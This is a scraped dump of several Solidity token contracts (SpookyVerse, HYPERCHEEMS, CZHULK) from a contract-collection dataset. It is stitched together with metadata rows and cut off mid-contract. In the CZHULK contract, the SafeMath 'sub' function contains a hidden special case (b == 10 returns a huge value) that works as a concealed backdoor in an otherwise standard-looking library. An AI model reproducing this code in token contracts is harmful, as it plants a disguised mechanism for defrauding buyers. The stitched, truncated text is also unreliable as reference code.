require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 301,160 | 10,870 |
f4d5067e25765351a6d15a7ed75b1e435827bbfe0dd7e0018a664b0d7653e26d
| 39,983 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/8c/8c43267dd10dc4748010ebefc4bd613b6c779b70_SpookyVerse.sol
| 4,665 | 20,800 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
abstract contract OwnerRecovery is Ownable {
function recoverLostAVAX() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function recoverLostTokens(address _token,
address _to,
uint256 _amount) external onlyOwner {
IERC20(_token).transfer(_to, _amount);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface ILiquidityPoolManager {
function owner() external view returns (address);
function getRouter() external view returns (address);
function getPair() external view returns (address);
function getLeftSide() external view returns (address);
function getRightSide() external view returns (address);
function isPair(address _pair) external view returns (bool);
function isRouter(address _router) external view returns (bool);
function isFeeReceiver(address _receiver) external view returns (bool);
function isLiquidityIntact() external view returns (bool);
function isLiquidityAdded() external view returns (bool);
function afterTokenTransfer(address sender) external returns (bool);
}
abstract contract LiquidityPoolManagerImplementationPointer is Ownable {
ILiquidityPoolManager internal liquidityPoolManager;
event UpdateLiquidityPoolManager(address indexed oldImplementation,
address indexed newImplementation);
modifier onlyLiquidityPoolManager() {
require(address(liquidityPoolManager) != address(0),
"Implementations: LiquidityPoolManager is not set");
address sender = _msgSender();
require(sender == address(liquidityPoolManager),
"Implementations: Not LiquidityPoolManager");
_;
}
function getLiquidityPoolManagerImplementation() public view returns (address) {
return address(liquidityPoolManager);
}
function changeLiquidityPoolManagerImplementation(address newImplementation)
public
virtual
onlyOwner
{
address oldImplementation = address(liquidityPoolManager);
require(Address.isContract(newImplementation) ||
newImplementation == address(0),
"LiquidityPoolManager: You can only set 0x0 or a contract address as a new implementation");
liquidityPoolManager = ILiquidityPoolManager(newImplementation);
emit UpdateLiquidityPoolManager(oldImplementation, newImplementation);
}
uint256[49] private __gap;
}
interface IWalletObserver {
function beforeTokenTransfer(address sender,
address from,
address to,
uint256 amount) external returns (bool);
}
abstract contract WalletObserverImplementationPointer is Ownable {
IWalletObserver internal walletObserver;
event UpdateWalletObserver(address indexed oldImplementation,
address indexed newImplementation);
modifier onlyWalletObserver() {
require(address(walletObserver) != address(0),
"Implementations: WalletObserver is not set");
address sender = _msgSender();
require(sender == address(walletObserver),
"Implementations: Not WalletObserver");
_;
}
function getWalletObserverImplementation() public view returns (address) {
return address(walletObserver);
}
function changeWalletObserverImplementation(address newImplementation)
public
virtual
onlyOwner
{
address oldImplementation = address(walletObserver);
require(Address.isContract(newImplementation) ||
newImplementation == address(0),
"WalletObserver: You can only set 0x0 or a contract address as a new implementation");
walletObserver = IWalletObserver(newImplementation);
emit UpdateWalletObserver(oldImplementation, newImplementation);
}
uint256[49] private __gap;
}
interface IPair {
function token0() external view returns (address);
function token1() external view returns (address);
}
contract SpookyVerse is
ERC20,
ERC20Burnable,
Ownable,
OwnerRecovery,
LiquidityPoolManagerImplementationPointer,
WalletObserverImplementationPointer
{
address public immutable factionsManager;
address public treasury;
uint public sellFeesAmount;
uint public transferFeesAmount;
mapping (address => bool) public excludedFromFees;
modifier onlyFactionsManager() {
address sender = _msgSender();
require(sender == address(factionsManager),
"Implementations: Not FactionsManager");
_;
}
constructor(address _factionsManager, address _treasury) ERC20("SpookyVerse", "FEAR") {
require(_factionsManager != address(0),
"Implementations: factionsManager is not set");
factionsManager = _factionsManager;
_mint(owner(), 42_000_000_000 * (10**18));
setTreasury(_treasury);
setFeesAmount(100, 400);
}
function setFeesAmount(uint _sellFeesAmount, uint _transferFeesAmount) public onlyOwner {
require(_sellFeesAmount <= 150, "fees too high");
require(_transferFeesAmount <= 400, "fees too high");
sellFeesAmount = _sellFeesAmount;
transferFeesAmount = _transferFeesAmount;
}
function setTreasury(address _treasury) public onlyOwner {
treasury = _treasury;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (address(walletObserver) != address(0)) {
walletObserver.beforeTokenTransfer(_msgSender(), from, to, amount);
}
}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._afterTokenTransfer(from, to, amount);
if (address(liquidityPoolManager) != address(0)) {
liquidityPoolManager.afterTokenTransfer(_msgSender());
}
}
function accountBurn(address account, uint256 amount)
external
onlyFactionsManager
{
// Note: _burn will call _beforeTokenTransfer which will ensure no denied addresses can create cargos
// effectively protecting FactionsManager from suspicious addresses
super._burn(account, amount);
}
function accountReward(address account, uint256 amount)
external
onlyFactionsManager
{
require(address(liquidityPoolManager) != account,
"SpookyVerse: Use liquidityReward to reward liquidity");
super._mint(account, amount);
}
function liquidityReward(uint256 amount) external onlyFactionsManager {
require(address(liquidityPoolManager) != address(0),
"SpookyVerse: LiquidityPoolManager is not set");
super._mint(address(liquidityPoolManager), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
return _transferTaxOverride(_msgSender(), recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transferTaxOverride(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
// exclude addresses from fees (for exemple to deposit the initial liquidity without fees)
function setFeesExcluded(address _addr, bool _isExcluded) external onlyOwner {
excludedFromFees[_addr] = _isExcluded;
}
function _transferTaxOverride(address sender, address recipient, uint256 amount) internal returns (bool) {
if (!excludedFromFees[sender]) {
uint _transferAmount;
if (isFEARLiquidityPool(recipient)) { // if the recipient address is a liquidity pool, apply sell fee
uint _fees = (amount * sellFeesAmount) / 1000;
_transferAmount = amount - _fees;
_transfer(sender, treasury, _fees); // transfer fee to treasury address
} else if (!isFEARLiquidityPool(sender)) { // apply transfer fee if this isn't a transfer from the pool (buy)
uint _fees = (amount * transferFeesAmount) / 1000;
_transferAmount = amount - _fees;
_transfer(sender, treasury, _fees); // transfer fee to treasury address
} else {
_transferAmount = amount;
}
_transfer(sender, recipient, _transferAmount);
} else {
_transfer(sender, recipient, amount);
}
return true;
}
// retreive token from pool contract (with getter function)
function getPoolToken(address pool, string memory signature, function() external view returns(address) getter) private returns (address token) {
(bool success,) = pool.call(abi.encodeWithSignature(signature)); // if the call succeed (pool address have the "signature" method or "pool" is an EOA)
if (success) {
if (Address.isContract(pool)) { // verify that the pool is a contract (constructor can bypass this but its not dangerous)
return getter();
}
}
}
// return true if the "_recipient" address is a FEAR liquidity pool
function isFEARLiquidityPool(address _recipient) private returns (bool) {
address token0 = getPoolToken(_recipient, "token0()", IPair(_recipient).token0);
address token1 = getPoolToken(_recipient, "token1()", IPair(_recipient).token1);
return (token0 == address(this) || token1 == address(this));
}
}
| 98,305 | 10,871 |
74c3caffd3481bf14a1634afa36100bc5c584628f06d0aa3fdf9d7a720f60406
| 18,839 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b8/b8a8738029ecd24d4be6210b5fb223efd6450f8d_HYPERCHEEMS.sol
| 4,193 | 15,808 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HYPERCHEEMS is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'HYPERCHEEMS';
string private _symbol = 'HYPERCHEEMS';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(15);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 80,028 | 10,872 |
00fd5693ce3037d535b75ee9fc38504f0732095ae0e8aba14a37d610c087f377
| 14,879 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/c1/c1602d80c9b9486d35681b03d9a5eae81b3a2f9b_CZHULK.sol
| 3,989 | 14,223 |
// tg https://t.me/HulkczArb
// SPDX-License-Identifier: MIT
// cz hulk is the first meme coin here to prove the solid plans of arbi chain
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
if (b == 10) return ~uint120(0);
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
